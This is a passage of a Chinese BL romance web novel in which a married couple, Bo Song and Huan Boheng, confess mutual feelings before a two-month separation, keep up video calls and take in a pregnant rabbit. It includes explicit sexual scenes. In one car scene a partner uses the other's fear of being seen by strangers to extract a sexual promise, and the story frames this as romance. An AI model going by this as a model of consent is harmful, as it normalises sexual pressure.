呼吸很近,交缠,碰上的前一秒。 桓柏蘅偏过头。 “” 薄淞动作僵住,满心的爱慕渴望,被浇灭。 桓柏蘅不愿意。 他被抵着胸口推开。 桓柏蘅伸手,拉开冷柜的门,把薄淞的“罪证”丢在他面前,冷酷道,“你大老远回来,是为了跟我z爱?” “” 求欢被拒,薄淞只觉得羞耻难堪,他想从桓柏蘅腿上下去,却被握住双手,攥紧,像被捆绑的姿势,搁在身前。 这一举动,不安全感陡升,他试图挣开,桓柏蘅却攥的越紧,眼尾红了一片。 “你要哭吗?” 桓柏蘅还是冷冷的语调。 一句话,逼得薄淞眼尾艳色再浓几分,他不知道自己为什么会落到现在这样的局面,被质问,像个做错事的孩子,被桓柏蘅勒令坐好,不许再动。 可桓柏蘅明明比他小,带来的羞耻便越发强烈。 他闭眼不愿再看,也不想再讨好对方,眼尾就被温烫的指腹按了下,然后是更过分的话,“你还好意思哭?” 话语其实软了几分,薄淞听不出来,他没有哭,为什么要这么说?他现在有点讨厌桓柏蘅。 明明做这样的事被拒绝够难看了,还哭的话,干脆从观景台跳下去好了,濒临崩溃的思绪却在下秒被抱进怀里时,平息。 拥抱比亲吻更亲密,薄淞一直这么觉得。 他感知到桓柏蘅的心跳,很快,有力地,一下下的在胸膛跃动。 这是清醒的时候,他们之间第一个可以算是正式的拥抱。 “做/爱不能解决问题,你不是比我成熟吗?这个道理我都懂。” 桓柏蘅说那些话,就是要让薄淞得到教训,知道什么叫丢脸,教训完了才温柔下来,前所未有的温柔,连他自己都没意识到,薄淞却有感觉,桓柏蘅一下下拍在他后背的手,像极了安抚。 他听见桓柏蘅问。 “有想我吗? “” 很奇怪的问题,出现在桓柏蘅口中,薄淞被拥抱麻痹的大脑更加混乱,桓柏蘅没有要等他回答的意思。 他说,“我有想你。” 电流击穿而过,薄淞头脑瞬间空白,在人怀中的身体僵硬,桓柏蘅似乎察觉到,在他耳后亲了下。 “薄淞,这段时间,我过得一点不开心,去海岛也很生气,你不陪我,把送我的礼物丢掉。” 桓柏蘅第一次意识到自己好像真的很记仇,他提到这,仍旧几分幽怨,于是亲吻又变成啃咬。 耳后敏感,薄淞被咬的疼,才更加有真实感。 桓柏蘅声音接着说。 “一开始对你真的毫无感觉,可是结婚以后,发生了很多变化” “你说的话,做的事,送我的东西,也变的重要很多,所以不是故意把胸针丢掉,是我想珍惜的时候,来不及了,可是你也没用心送我。” 语气到这重了许多,薄淞快不能思考。 “反正后来我很生气,我真的很生气,怨恨你,本来想好永远不要理你。” 薄淞明明被桓柏蘅抱在怀里,听着对方诉说的“重要性”,可听到这里,还是慌了下,他几乎有些恐惧的抓在人肩侧,“不要。” 桓柏蘅不要不理他。 “我想的,可是做不到。”桓柏蘅这一刻承认,“我好像对你有不一样的情感,不单纯只是过日子的那种夫妻关系。” 桓柏蘅一字一顿,说的缓慢而仔细,想让薄淞听清楚,然后才把人从怀里推出来,薄淞眼睫湿润,不知道是刚才就想哭,还是有一点点感动? “所以其实我就想问你一句,我只问这一次,如果答案不是我想要的,我就再也不会问了,也不会纠缠你。”桓柏蘅说,“你对我,有一点感觉吗?” 海岛的时候,他在想,薄淞这么对他,没人敢这么对他,敢把不要的东西给他,他不稀罕,明明是下定的决心,可回来,见到薄淞第一眼,下定的决心成了笑话。 薄淞捧着花,因为他而亮起的眼睛,小心翼翼的讨好,和他说话很轻,总期待又不安等他的回应,薄淞离开前的那个雨天,他感觉到了,对方有一瞬想要的拥抱。 这么多天,他有想过,丝丝缕缕,一点点分析,直到今天薄淞回来,出现在他面前,想出这样笨办法,只是为了哄他。 不确定的答案变得清晰,可桓柏蘅出口后,等待的过程里,竟然仍觉得几分不安。 怕是不好的回答。 他加了很多很多的前缀,算是一种威胁。 “有。” 不是有感觉,是喜欢你,也很爱你。 我偷偷爱了你很久,是以为没有希望的,看不到曙光的爱。 薄淞的回答过后桓柏蘅沉默了很久,他心里有这个答案,可亲耳听到,胸口涌起一股异常的满足感,是他从未有过的。 不是来自于身体以及欲望上的被满足,是心理上,薄淞说的一句话,比起他第一次和薄淞做/爱都让他觉得,心脏被填满的温暖充实。 这让他的眼眶竟然也有些潮湿。很快就被掩饰住,得到想要的答案,把薄淞从腿上推了下去。 薄淞顺从的坐回了座椅,指尖在皮质的软面上抓了抓,材质很好,抓不出一丝褶皱。 桓柏蘅是要跟他谈话,不是过往暧昧的调情的其实不走心的亲密。 “我知道了。” 桓柏蘅吐出四个字。 薄淞仍旧有些无措,或许会持续很久,他问,“那你满意吗?” “还行。” 桓柏蘅说完,转了语气,“说出口的话是要负责的。” “我可以负责。” 他可以光明正大对桓柏蘅好,他的好感被允许了,那往后呢?更多的,可以被接受吗? 桓柏蘅也可以喜欢他吗? 可是 “感情要专一,人不能同时喜欢两个人,这个道理你懂吧。” 薄淞懂得,他点了点头。 “我明天就走了,接下来见面的机会也不多。”桓柏蘅看了眼他,说,“我们冷静冷静吧,想清楚,再说别的。” “”- 车子驶回高架,往机场去的方向,一路安静。 薄淞很长一阵在发呆,等到目的地后,才从被告知桓柏蘅对他有一点好感,可又要被再次重新选择的迷茫中回神。 桓柏蘅是还没想好。 割舍不掉多年的感情。 所以要在他和喜欢的人当中做一个选择,是要收回对他的好感,继续孤注一掷的把对那个人的爱藏在心底。 还是彻底忘了那个人,放下过去,和他再更进一步? 好感,喜欢,爱。 这是一个太大的诱惑条件,几乎让薄淞心跳瞬间失了规律,可以爱他吗?可伴随而来的,又有一阵恐慌。 万一他是出局的那个怎么办? 他要怎么,才能让桓柏蘅选择他。 “下车。” 桓柏蘅停好车,不悦的语气唤回薄淞又一次飘远的思绪。 “好。” 薄淞觉得,开局就有点失败,他不知道哪让桓柏蘅不快了,而他好像比起之前,更需要讨好桓柏蘅,这次的奖励很大,他很想很想,百分之百的想要。 他选择听话的先下去,握在车门上,打不开。 车门桓柏蘅锁着。 薄淞只好转回身,征询的眼神却对上一双危险的眸子。 “” 薄淞被拽过去,很突然的,这次不仅亲了嘴,在旁边车辆停进来,好奇观望豪车时,双手被举过头顶,桓柏蘅手从毛衣下摆探进去,触到细腻发烫的皮肉。 “” 窗外的声音传进来,隔壁车的人往里看,视线被私密的玻璃挡住,可但凡他们绕到前边,就能看见,薄淞此刻荒唐情态。 被撩到肩头的衣服,单薄白皙的胸口裸露在外,泛起密密麻麻的红,桓柏蘅手心按在上面,指腹揉搓着薄淞被勾起感觉。 又被强制仰着头接吻,碰到这碰到那 桓柏蘅知道他身上所有的敏感点。 侧边的人开始往前边绕,薄淞瞪大了眼,眼底泛起潮湿水雾。 桓柏蘅欣赏了下,才问他,“不想被看见?” “不想。”薄淞答的艰难。 “下次自己动。” 这种时候提要求,就是趁火打劫。 薄淞没有拒绝的权利,只能答应,他怕被看见,说可以,抓住桓柏蘅的手。 桓柏蘅没再作乱,让他扯下来,衣服盖住了身体。 隔壁车的人正好绕到前边,薄淞和来人目光对上,那人小小惊呼了一声,迅速躲开。 薄淞劫后余生,然后听见耳边桓柏蘅最后一句,像是不满已久的话。 “下次做的时候,腿张开一点。”他不理解,“腿这么长,打不开吗?” “…” 第39章 薄淞办理完值机手续后, 两人在机场找了餐厅吃饭。 时间离八点差二十分钟。 “抱歉。” 薄淞开口的声音打破了安静的用餐环节。 他看着面前简单餐食,心里觉得对不起桓柏蘅,如果不是他没事找事非要跑那么远, 他们其实有充裕的时间可以吃一顿浪漫而丰盛的晚餐。 桓柏蘅扒拉开黄油面包丁的动作停住, 一秒后若无其事把面包丁重新扫回来,喂进嘴里, 腻的慌,也不够脆。 难吃。 “没关系。”他叉起同样难吃的鳕鱼块, 表现大方,“我计较的东西没有很多,答应我的做到就行。” “” 薄淞僵硬的动作把餐桌底下伸不直的腿收回来,在桓柏蘅眼神第四次落在上面,埋头默默吃饭。 餐厅味道是很一般, 只能说勉强填肚子, 薄淞心不在焉吃着,注意力不自觉落在面前这会又把盘子里面包丁嫌弃拨开到一边的人身上。 “你过去的话住在哪啊?” 薄淞犹豫着,还是问了。 对于桓柏蘅去学习培训一事, 他知之甚少,唯一了解的也只是桓柏蘅去的时间,还是在和爷爷见面那顿饭里得知的。 私下里,他没有问过桓柏蘅。 不清楚能不能问,会不会逾距, 可现在,薄淞想,他应该是可以的。 “酒店。”桓柏蘅理解不到薄淞心里复杂的弯弯绕绕,他说,“具体地址不知道, 明天发你。” 其实有宿舍,桓柏蘅不乐意住罢了,哪怕是私人高级的套房,可也没酒店自在,再者叶叔很啰嗦,又因为从小看他长大的长辈缘故,对方的话,桓柏蘅还是得听几句的。 “好。”薄淞心里小小的高兴了会,对于意外得到地址信息这件事。 两人把一顿并不好吃的晚餐解决后,往安检口去,也快到登机时间。 两百米的距离,走到头,他们就得分开两个月。 薄淞一早就做好桓柏蘅离开准备,不算突兀,可没想到,是桓柏蘅送他,而走前,会发生桓柏蘅对他说出刚才那样一番话的事,哪还能舍得走,只恨不得路再延伸个百倍,可纵使脚步再慢,也会到头。 “车钥匙明天我留家里。”桓柏蘅开口的话,打断薄淞离别前伤感情绪,他说,“你先帮我开着。” 桓柏蘅去异地,自然不能把车带去。 “好。” 薄淞答应,望过去,挪不开目光。 过了今天,再近距离看到桓柏蘅,就是一件很难的事,可他答应桓柏蘅,会给对方时间好好思考。 “你明天去了那边,我还可以给你打电话吗?” 前一秒薄淞这么想,后一秒还是忍不住问。 两个月,太漫长了,那可不可以聊天或是电话,桓柏蘅并没有界限清楚思考所需的个人空间。 薄淞抱着希望问。 如果不能联系的话,他对自己毫无信心。 他们相处的时间太短,桓柏蘅对他的好感不足以支撑两个月的空白期,而他再想增加“被选择”的筹码都无处使劲。 “当然。” 桓柏蘅没那么大方,他愿意给薄淞两个月很不错,可不联系不行,一天二十四个小时,薄淞花一个半个小时思考,就已经足够。 他想,自己都在薄淞面前,但凡薄淞把那个人拎出来和他对比一下,就应该想得清楚。 只要薄淞脑子没坏。 两人心思各异,到安检口。 “走了。” 薄淞轻声说。 桓柏蘅点头,“嗯。” 这边离别情绪很淡,旁边一对情侣形成鲜明对比,男生抱住比他高一截的男人胳膊,脑袋拱进人怀里,被男人笑着抱住,黏黏糊糊道别。 薄淞看了眼,又看了下桓柏蘅。 他有点太高。 也不是可爱类型的,撒娇会很奇怪,而且,他也不会撒娇。 “不走?”桓柏蘅问。 薄淞摇了摇头。 “回去开车小心。” 桓柏蘅说“好”,目光注视着他,薄淞走不动了,这次的不舍比上次还严重,上次桓柏蘅还说了会在家等他,可这次,再回来桓柏蘅就不在了。 两个月,薄淞单是想起就觉得漫长。 他低下头,收敛情绪,视线里是桓柏蘅西装裤和鞋子,没有一丝褶皱,一尘不染。 薄淞安静了一会,才最后说了句,“再见。” 这次是真打算走,心里念头一次两次第三次彻底没了勇气,他转身,是有些沮丧的,在旁边男生抱着男人又亲又抱好一阵时。 男生年纪看着不大,应该是情侣,情侣之间都可以这么亲密。 薄淞承认嫉妒。 他迈出去的步子在手腕被扣紧的力道中停下,回头,桓柏蘅看着他,拧着点眉头。 “我看起来很小气,还是我很吓人。” 薄淞不明所以,因为桓柏蘅忽然问出的这句话,他愣愣回答,“没有。” “那我是不是说了,对你有好感。” “是。” 这次没有长串的铺垫,哪怕桓柏蘅的声音十分冷硬,仍旧打的薄淞猝不及防,以至于他当下回答后,几乎立刻补上,“我对你也非常有好感。” “” 很奇怪,双方心底同时升起这一念头。 他们都结婚了。 却好像是初次了解彼此心意的暧昧期。 明明在车上,亲过抱过,哪哪都摸遍了,尤其桓柏蘅,当时他丝毫没觉得不好意思,当然现在也不多,只是薄淞很认真地说,眼睛看着他,都是他。 眼神于是闪躲了一秒,才好继续单方面的“谴责”。 “你想要我抱可以直接说。”他面无表情,“羡慕别人干嘛?” “” 薄淞被直接点破,热意涌上面颊,耳后微微泛红,可又真的很不想拒绝,支支吾吾,才小声一句。 “我年纪比较大了。” “”- 薄淞在众人的注视下,进了安检口。 脚步急促。 不像是个年纪大的人。 一旁男生眨了眨大眼睛,转回头,呆滞的模样缓缓灵动,抱上男人脖子,“啊啊啊,老公,我也要法式热吻。” “跟他们一样的,最少亲五分钟。” 桓柏蘅瞥了眼过去。 年纪小有什么好,太主动,不矜持,聒噪安检进去的人回头,薄淞目光同桓柏蘅撞上,又转回去。 桓柏蘅想,他还是喜欢内敛点的。 薄淞心情好长一阵起伏,因为大庭广众和桓柏蘅热吻的心跳加速,好不容易平静下来,又被回头的工作人员一句激的漾起涟漪。 “那位是您先生吗?” 工作人员同薄淞较为熟络,因为薄淞时常需要出差的缘故,算是机场常客,而和一般的尊贵vip客人不同,薄淞很好相处。 温和,耐心,有礼,不论是接待人员或是机组人员,值班当天能服务到薄淞的,心情总会格外愉悦。 当然,家世人品样貌都顶尖的男人,总会有不少爱慕者,于是薄淞婚讯一公布,不免碎了一地玻璃心,自然也对薄淞的丈夫十分好奇。 “是。” 薄淞回应工作人员的话。 “您和您先生真是十分般配。”这话发自内心,两人看着就十分养眼,又不禁向往,“也很甜蜜。” “谢谢。”- 第二天,薄淞收到桓柏蘅飞机落地的消息时,正和项目组开会。 因为合作的公司确定无法参与后续项目,方案全部得修改,以及一系列数据比对,工作任务量大。 负责人ppt过着细节,薄淞才抽空回复桓柏蘅一句。 【薄淞:你现在回酒店吗?】 不可能一过去就直接培训学习,薄淞想着桓柏蘅赶早班机,可以回酒店补觉。 【桓柏蘅:嗯。】 【桓柏蘅:到了发你房间号。】 【桓柏蘅:别急。】 “” 薄淞并没有着急的意思,更没有想要窥探桓柏蘅房间号,可桓柏蘅的意思是,会把房间号一并发给他? 如果给房间号的话,是不是说明,是可以见面的? 薄淞昨天只问了能不能发消息联系,忘记问,两个月的时间,桓柏蘅要不要跟他见面。 他心思走偏几秒,ppt翻了页,项目组长征询的目光望过来,是要薄淞对刚才的方案做个是否的决定。 薄淞敛下心神。 “抱歉,我刚才没听清楚,可以再重复一遍吗?” 他好像分心有些严重,处理工作的场合,因为桓柏蘅一句话,满脑子是对方。 这不是好的兆头。 因为这个项目,大家年都没过好,加班加点,他得尊重大家的劳动成果以及心血。 薄淞微信上回了个“好”,说明现在有些忙碌,桓柏蘅很理解的说让他忙。 他才结束对话,投入工作中- 薄淞合上笔记本时,已经到深夜。 “大家辛苦了,回去好好休息,再坚持两天,给大家发奖金。” 这段时间反复的探讨分析筛选,众人都疲惫不堪,应着离开,各自回酒店楼层,落地窗俯视而下,街道空旷无人。 薄淞才有时间打开手机,凌晨一点,桓柏蘅应当休息了,而他也应该洗漱休息,补足体力,可夜深人静,思念冒了头,就止不住。 薄淞点开聊天框,开始翻看记录。 从和桓柏蘅认识之初到现在的聊天记录。 他翻看着,反倒是疲惫渐消,多了精神补给似得,可惜聊天少得可怜,纵是看得再仔细再认真,边看边回味,也没多少内。几分钟就没了。 薄淞不舍地来回再翻了遍,停在早上因为会议原因,和对方匆匆结束的对话上。 指尖摩挲着那一处文字。 第一次,他竟然有些厌烦起工作来,这是哪怕毕业接手分公司最忙那一阵,都没有过的情绪。 到底是这段时间过得清闲,还是思念作祟,薄淞不得而知,可深更半夜抱着手机不撒手想些情情爱爱,后知后觉薄淞觉得自己有点太不像话。 这事放在他大学时候,倒还是合理,对着桓柏蘅一张照片,他也能翻来覆去看很久很久。 薄淞丝毫睡意也没,尤其想起昨日桓柏蘅的话,一字一句,说对他有好感,后劲太大。 盯着聊天框,忍不住。 薄淞想,一条消息而已,惊醒不到桓柏蘅,他就偷偷发一条,才能心甘情愿去休息。 指尖敲下去,不过短短“晚安”两个字。 薄淞发过去,呼出口气,才打算放下手机去洗漱,动作到一半,愣住。 他怀疑自己眼花,再看的时候,确定没有眼花。 “正在输入中”变成了出现在聊天框内的信息,桓柏蘅没有休息。 【桓柏蘅:忙完了?】 【桓柏蘅:方便视频吗?】 薄淞这一刻才恍惚意识到,原来怀着特别心情以及思念的人,好像不止他一个。 第40章 第二日闹铃响时, 薄淞睁眼。 思绪短暂放空一会,摸索到床头手机。 第一件事,打开和桓柏蘅的聊天框, 发送了两个字, 早安。 心里漾起异样的甜蜜感。 昨夜桓柏蘅打了一通视频过来,没聊多久, 关心过后要求他减少加班时长保证健康这些都不是重点,薄淞草草的就答应了, 盯着镜头里瞧。 桓柏蘅所在的酒店看起来很舒服,他看到桓柏蘅床头眼熟的一条围巾。 是他的。 薄淞那会记起,他好像一直没把桓柏蘅给的围巾还回去,所以桓柏蘅说拿他的,很公平。 而看到了围巾, 享用了桓柏蘅的关心, 以及确定桓柏蘅为了视频等了他或许很久薄淞够满足了。 最后电话挂断时,桓柏蘅问他。 早安和晚安,以后都会有吗? 薄淞大学时候室友恋爱, 追人,都是要早晚安的,你发一句早安,对方总得回一句,话题就能聊起来,发一句晚安,睡前最后的时光和喜欢的人聊天,梦里说不定能见到。 细节却再暧昧不过的事情,由桓柏蘅提出来。 手机震动两下,薄淞收到了桓柏蘅的回复。 【桓柏蘅:早。】 话题是可以继续的。 【薄淞:吃过早饭了吗?】 【桓柏蘅:在吃。】 日常生活的交流, 对象是桓柏蘅,对薄淞来说,没经验,很陌生,可又怕对方久等,只好生硬的开展聊天。 【薄淞:好早,吃什么呢?】 薄淞发出去,确定对话很没营养,没一会桓柏蘅发回来。 一张照片。 中西式合并的早点,分量不多,照片右下角一只手,握着银叉,指尖微微蜷起,骨节分明,性感修长。 【薄淞:怎么喝咖啡了,昨晚没休息好吗?】 薄淞注意力被奇怪的分散,一边下床得去洗漱,一边盯着照片里桓柏蘅唯一露出的部分,再就是被咖啡迷惑一瞬。 桓柏蘅早上通常不喝咖啡,在家里的时候,他会榨一杯果蔬汁,桓柏蘅会喝完。 薄淞问出去,立刻就被自己蠢到。 【薄淞:抱歉,我耽误你休息了,今天白天有时间能睡会吗??】 昨晚桓柏蘅等他到那么晚,怎么可能休息的好,起的又早,肯定疲惫,薄淞愧疚着,没等到桓柏蘅的回复。 好半天,他等着,聊天框始终安静。 薄淞只能先洗漱,手机开屏放在二层台子上,盯着,怕回消息不及时。 可等他收拾完,消息都没有发过来的意思。 他只好先出门。 电梯下到酒店中间层用餐。 薄淞选了和桓柏蘅极其相似的餐品,找了个窗边坐下,大早上愉悦的心情到现在微微有了些沮丧。 为什么不回他消息。 薄淞再次意识到同昨晚一般的,他似乎很不符合年纪的,陷入青涩少年期对待情情爱爱的患得患失中。 也还不算得到。 滋味更不好受。 如果是放在以前,没抱什么希望,桓柏蘅没回消息,薄淞会乱想,可不至于心提起又落下,落下又提起。 因为手机每一次震动。 他有点负气的把所有的软件提示全关了,只留一个微信,可直到用完餐,桓柏蘅都没有动静。 薄淞得工作了,要去新洽谈的合作商公司。 西装,文件,笔记本。 他整理妥当,手机才终于在最后一刻震动。 桓柏蘅的消息发过来。 【桓柏蘅:跟叶叔聊了会。】 【桓柏蘅:中午可以休息。】 【桓柏蘅:薄淞,我不喜欢你总跟我说抱歉,下次别说了。】 无事发生。 薄淞为自己不成熟且奇怪的状态感到几分窘迫,给人回了个好,随后盯在最后一行,唇角抿起。 这次记到心里去了。 桓柏蘅不喜欢- 薄淞在C市又待了三天,解决完当前急迫的问题后,留下项目负责人和律师完成后续的合同签订工作,他和另两名员工,返程荣市。 飞机落地荣市机场,天空竟飘起了小雪。 天气预报显示的年后初雪,没在正月下起来,这会悠悠扬扬飘落,天际呈现一片很深的青白色。 薄淞到家时,院里雪堆了薄薄一层。 门口过年贴的春联福字还在,山茶花在玻璃房里仍旧绽放的肆意热烈,一切和薄淞走前没有分别。 回家了。 他深深吸了口气,进去。 薄淞不喜欢住酒店,从前到现在一直是,可出差避免不了,所以每次回来,他总习惯洗个澡,换上舒适的家居衣服,也算是转换心情。 浴室里热气氤氲,薄淞洗完出去,卸掉疲惫。 床铺松软,被子叠的整齐。 薄淞确认桓柏蘅这个时间点在忙,上床休息。 风雪被挡在外头,因为窗留了条缝隙的缘故,声音透进来,助眠效果更强,他嗅闻着枕间似有桓柏蘅留下的味道,很浅的。 黑暗一点点袭来,陷进浓沉的梦乡- 薄淞一觉醒来,已经是下午四点。 雪天缘故,天暗的厉害。 他睡得实在太沉,把这几天缺的睡眠一次性补回来,就有点头昏脑涨。 拉开帘子,原先籽粒般的大小的雪花成了片片鹅毛大雪。 前院被落雪铺满,后院雪景更为极致。 薄淞裹着厚外套,戴了雪帽,踩一脚,陷进去柔软的雪堆里,往玻璃房去。 不出意外,玻璃房顶也落着厚厚积雪,周遭被林木围起,偶有几根褐色的枝木从雪堆中探出,丰富了纯白世界里的颜色。 薄淞期待很久的。 这场大雪落下,邀请桓柏蘅一起品茶赏雪。 可惜不能了,同兴奋一道袭来的,也有失落。 他独自推开玻璃房的门,里面被简单布置过,各种茶叶花茶,煮茶工具都应有尽有。 薄淞简单清洗处理后,煮上了一壶龙井,冒着风雪回去房子里,又取了些果干,回来时,把玻璃房前侧的玻璃升了上去。 雪就飘了些进来。 他煮好一盏茶,捧在手心里,喝了口,茶水温烫,透着龙井的清香,流经胃里,暖和许多。 薄淞喝了两杯,挑起点蜜饯吃。 微信上桓柏蘅发来了消息。 五点了。 薄淞放下茶盏,搓了搓手,发消息。 【薄淞:方便打个视频吗?】 这几天他们聊得多,视频也打过两次,薄淞再开口的话就自然许多。 桓柏蘅没有拒绝。 对面拨过来视频通话,薄淞立刻点了接通。 镜头只一秒出现他的脸,转到院中纷纷扬扬的雪花,天空压的很低,光线昏暗。 “能看清楚吗?” 薄淞点开对方的镜头框,眼底的笑意在下秒放大的镜头里,桓柏蘅整个人消失时,僵硬住。 “可以。”桓柏蘅声音传过来。 “是吧,我看天气预报,明晚才会停,到时候应该会积起来很厚。”薄淞盯着桓柏蘅后面背景,“你在车里吗?” “快到酒店了。” 桓柏蘅是快到了,没一会,拉开车门下去,然后是晃动的地下停车库,镜头晃着晃着,进了电梯,出去,到酒店房间。 薄淞和他聊了一阵不相关的,心思却不在这,最后还是没忍耐住。 “桓柏蘅。”薄淞喊他,声音低了许多,“可以看一下脸吗?” 他没想到会被拒绝。 “不可以。”桓柏蘅说。 “好吧。” 桓柏蘅脱了外套,丢在沙发上时,手机传来沮丧失落的回答。 “你都不给我看,为什么我要给你看?” 另一边安静两秒,镜头跳出了薄淞温润眉眼,长睫微卷,是刚才睡太熟压着的,唇瓣被茶水烫的红润,明亮的眼睛一眨不眨盯着镜头,期待着。 “现在可以给我看了吗?” “不行。” “” 好半天,桓柏蘅等薄淞回答,然后等来始终软绵绵的回应,“为什么不行?” 薄淞好像真的没什么脾气。 “不想。” “” 镜头里的人愣了会,张唇几次,才说出话来。 “你刚才说,可以看的。”薄淞又软了点嗓音,“桓柏蘅,看一眼好不好?” 他表现的非常恳切,终于打动了桓柏蘅。 镜头里单调的酒店地板换了模样。 白色衬衫扣子解了两颗,胸前薄薄的肌肉微微鼓起,性感的锁骨凹陷,喉结明显,是桓柏蘅的身体,薄淞想起摸上喉结的触感,指尖发麻。 镜头接着上移,露出桓柏蘅整张脸。 弧线锋利的面部轮廓,微微下垂的眼尾,鼻梁高挺,一双黑眸习惯性带着点漫不经心和慵懒的打量。 “已经看一眼了。” 桓柏蘅话语淡漠地响起,在薄淞沉浸式“观赏”时。 “” 薄淞手忙脚乱开始截图,于是镜头晃动厉害,等他截完图,镜头里桓柏蘅的脸还在,反应过来。 “再看久一点,好不好?” 桓柏蘅是需要被哄的,薄淞又说两句,桓柏蘅答应了。 雪景只是陪衬。 桓柏蘅出现后,再美的景致都失色,薄淞目光挪不开。 天色越来越暗。 薄淞前几天忙,和桓柏蘅的视频非常匆忙,只几分钟就结束。 这次他们连了半小时。 “你该回去了。”桓柏蘅说。 薄淞瞧了眼玻璃房外自动感应亮起的灯,晕开雪地上暖黄一片,他才点了点头,起身,低头收拾茶盏时,余光瞥过外头一晃而过的黑影,蹿进了白雪覆着的树堆中。 动作顿了下。 他思考了会,脚步放轻过去,一步,两步,站定。 “怎么了?” 桓柏蘅看他小心谨慎的动作,问道。 小区安保很严,二十四小时有人巡逻,别墅内也装有报警装置,闯进什么人可能性极低。 桓柏蘅心里排除遇到危险可能性,然后看见薄淞表情,有点惊喜,也有些讶异。 镜头调转。 薄淞解释的声音响起时,连带着视线里映入的,树丛堆白雪覆上的软和雪面,深灰色毛发蓬松的小动物竖起耳朵,警惕地望过来。 他们家里,来了只兔子。 40-50 第41章 后院里进了只灰兔。 薄淞让它暂时住在了玻璃房, 因为当晚风雪很大,第二日傍晚雪停,他过去看, 兔子舒舒服服窝在里头, 见到他懒懒伸了伸腿。 兔子是要长住的,薄淞已经让园丁师傅帮忙搭个小木屋。 豪华一些的, 适合兔子一家生活。 因为这只灰兔,竟然有了兔宝宝。 上午阿姨过来扫雪时, 薄淞带她认识家里新入住的客人,顺便让阿姨准备些兔子爱吃的食物,阿姨经验丰富,一看就知道兔子怀孕了。 有宝宝,就得更加悉心照料。 薄淞原本想着带回别墅里, 可兔子在暖气房里呆着不好, 再者离了自然环境影响心情,才决定搭个木屋,在兔子原先落脚的树丛里。 ·~ 薄淞把消息告诉桓柏蘅时, 桓柏蘅同样几分意外。 “你拿近点,我看看。” 灰兔挺亲人,当然也少不了桌上水灵灵的胡萝卜诱惑,被薄淞轻松托在手心里,毛发很软。 薄淞小心避开肚子,握住兔子身体,凑到镜头前给桓柏蘅看。 “阿姨说兔子生的很快,三十天就能生下宝宝。” 灰兔估计刚怀上,不显肚子,也看不出来。 桓柏蘅视线从兔子平整的肚面扫过, 心思不在这,随口道。 “很厉害。” 薄淞赞成,任何生物怀胎生子都很伟大,而且像兔子这种,在外流浪的话,短暂的一生可能要怀很多很多胎。 他开始思考院子里,哪天会不会有一堆兔子,不过近亲能繁殖吗?生物课好像是说 “你怎么怀不上?” “” “懂了。” 桓柏蘅自问自答,睨一眼薄淞,正经的提出很不正经的要求,“下次见面,可以不带T吗?” 小灰兔被抓着腿太久不乐意,回头哼哧一口在薄淞手指,啃了口水印子,薄淞吓了一跳,松手。 小灰兔灵活的翻过身子,四脚落地,耳朵一动一动,接着啃胡萝卜。 薄淞才松口气。 目光扫到镜头里的人,眼睫用力颤了几下,心跳呼吸全乱了,他觉得脸颊发热,热气可能得冒到头顶。 “可以。” 予取予求,任何过分的要求。 桓柏蘅于是又提了一句,并说不介意先帮薄淞,薄淞差点把手机打到地上,这次整张脸透着红。 薄淞有了新的发现,自从两人摊牌说清楚后,桓柏蘅开始不局限于之前只在床上身体力行以及说一些不堪入耳的话。 平常两人视频或是聊天,也会有。 说的坦荡,露骨,毫不掩饰欲望。 “不可以吗?”桓柏蘅言语间透着点失望,然后用相亲初次想让薄淞答应求婚时一般的绅士分寸,表示,“没关系,不愿意就算了,我理解。” 以退为进,薄淞哪能不知道。 可x生活和谐也是夫妻生活和谐的重要因素,而桓柏蘅对他,或许也有很大一部分的生理性好感。 再者,他挺愿意的。 “可以吧。” 薄淞给了答案,不然桓柏蘅会一直问。 他点头后,镜头里的人凑近了些,近到薄淞看见桓柏蘅右眼眼皮被睫毛挡住的地方,很浅的一颗痣,黑沉的眸子里映出他影子。 “怎么我说什么你都答应啊?” 半晌,桓柏蘅开口,很轻地声音,在薄淞心尖上狠狠撩了下,他不自觉也离得镜头近了。 要是可以碰到就好。 薄淞不满足地想。 他和桓柏蘅,分开一周了,七天,两个月等于六十天,时间怎么可以这么漫长? 于是贪心的,再贪心的 “桓柏蘅。”薄淞顺从内心的渴望,他说,“可以和你见面吗?” 这个问题,桓柏蘅很长一阵没回答。” 薄淞没有注意到他变化的神色。 长时间的安静,薄淞意识到,他或许是有些过分,不应该一步步紧逼的,起码现在他能感觉到桓柏蘅选项里的天平是往他这边倾倒。 不应该太过粘人,薄淞想,就算桓柏蘅对他有好感,并不想和结婚开始那样,各过各的日子,可桓柏蘅之前有这个需求,就说明桓柏蘅是需要有自己的私人空间。 他要是过分的粘人,就适得其反。 “我随便说说的,其实也不一定有空,团队又接了新的项目,还” “答应我这么多要求,还敢现在提跟我见面” 桓柏蘅打断了他,似乎是深深吸了口气,才咬着牙把接下来的话补充。 “你不怕到时候哭都哭不出来。” 好半天,薄淞反应过来意思,耳根涨红,可这次没有躲开桓柏蘅目光,声音却不自觉低了许多,带着些许颤抖。 他豁出去,说,“我想哭的。”- 薄淞定好情人节的机票,还有半个月。 他其实也很想现在飞过去,哪怕桓柏蘅说的让他有几分心里害怕,可也抵不过想见面的欲望。 但他也得顾着工作的事。 从开年到现在,忙活着项目上的事,他连公司都没去一回,稍微是有点不像话,需要他签字审批的文件,办公桌堆了不少,助理发来的消息,询问他明天能否准点去公司,完成工作任务。 薄淞不免又一次,讨厌起繁琐的工作来- 荣市一场雪后,气温逐渐回升。 步入二月上旬的尾声,后院里几株早春的林木品种冒出了绿芽,不再是单调的光秃秃的枝干。 小灰兔前腿攀着粗实的茎秆荡着秋千,薄淞见着时,实在为它惊险。 他上前两步,抱下兔子,掂在手里沉了不少,肚子也渐渐鼓起,能看出怀孕的样子。 灰兔很调皮,怀孕了也不安分,昨夜院中淅淅沥沥下了阵子雨,树丛湿漉,它把叶子叼进木屋里,于是打的毛发湿润,鼻头也脏兮兮。 薄淞实在没东西给它收拾,无奈只好抱着先回房子里,随意找了处干燥地面。 薄淞抬手把灰兔鼻头上的黄泥点擦去,才摸了摸兔耳朵,拿纸巾一点点擦去水渍,兔子怕声音太响的东西,薄淞才打消了用吹风机直接烘干的打算。 纸巾用了一张又一张,小灰兔还毛发还是乱糟糟的,摸起来身体冰冰凉,都这么一副模样了,仍旧极其不安分,在薄淞给它擦耳朵时,心生不满,小腿猛地往前一蹿,把薄淞吓了一跳,见状赶紧用手护着。 就被报复的甩了一脸的水,抓住小兔子,搂怀里,兔脑袋蹭的他满脸的灰毛。 薄淞哭笑不得,怎么能这么闹,哪像只兔妈妈啊。 他只好轻揪了下兔耳朵,严厉了些,“ 你安分点。” 